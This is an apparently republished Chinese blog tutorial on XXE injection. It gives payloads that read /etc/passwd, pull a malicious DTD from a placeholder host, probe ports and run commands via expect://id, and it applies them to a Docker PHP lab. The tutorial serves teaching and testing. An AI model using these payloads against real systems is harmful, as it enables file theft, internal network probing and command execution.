码迷,mamicode.com
首页 > 其他好文 > 详细

XXE漏洞

时间:2018-12-24 12:35:03      阅读:179      评论:0      收藏:0      [点我收藏+]

标签:php   图片   结构   元素   开启   语言   探测   www   inf   

原理:XML外部实体注入,简称XXE漏洞,XML数据在传输中数据被修改,服务器执行被恶意插入的代码。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

XML简介:XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明,DTD文档类型定义,文档元素。

漏洞利用方法:

1)直接通过DTD外部实体声明:

<?xml version="1.0"?>
<!DOCTYPE a [
     <!ENTITY b SYSTEM “file:///etc/passwd”>
]>
<c>&b;</c>

2)通过DTD文档引入外部DTD文档,再引入外部实体声明

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM “http://www.xxx.com/evil.dtd”>
<c>&b;</c>


DTD文件内容:
<!ENTITY b SYSTEM "file:///etc/paswd">

3)通过DTD外部实体声明引入外部实体声明  

<?xml version="1.0"?>
<!DOCTYPE a [
     <!ENTITY % d SYSTEM “http://www.xxx.com/evil.dtd”>
     %d;
]>
<c>&b;</c>


DTD文件内容:
<!ENTITY b SYSTEM “file:///etc/passwd”>  

 

示例:docker中的php_xxe模块示例

php中的libxml2.9.0以后,就默认不解析外部实体了,docker环境启动后,可以看到phpinfo页面显示的libxml版本。

技术分享图片

该环境下www目录下有四个文件

技术分享图片

除了index.php外,其他文件我们都可以利用xxe漏洞来读取文件等操作。

打开dom.php

技术分享图片

抓包,然后发送到repeater:

1.读取文件:

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>

技术分享图片

2.扫描端口

通过返回不同字段来判断是否开启了端口。

技术分享图片

技术分享图片

技术分享图片

 

3.远程代码执行

这种漏洞需要特定的条件才能触发,当PHP expect模块被加载到了有xxe漏洞的系统或者xml的内部应用程序上,我们就可以进行远程代码执行了

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>

  

  

 

 

XXE漏洞

标签:php   图片   结构   元素   开启   语言   探测   www   inf   

原文地址:https://www.cnblogs.com/xiaoqiyue/p/10165696.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!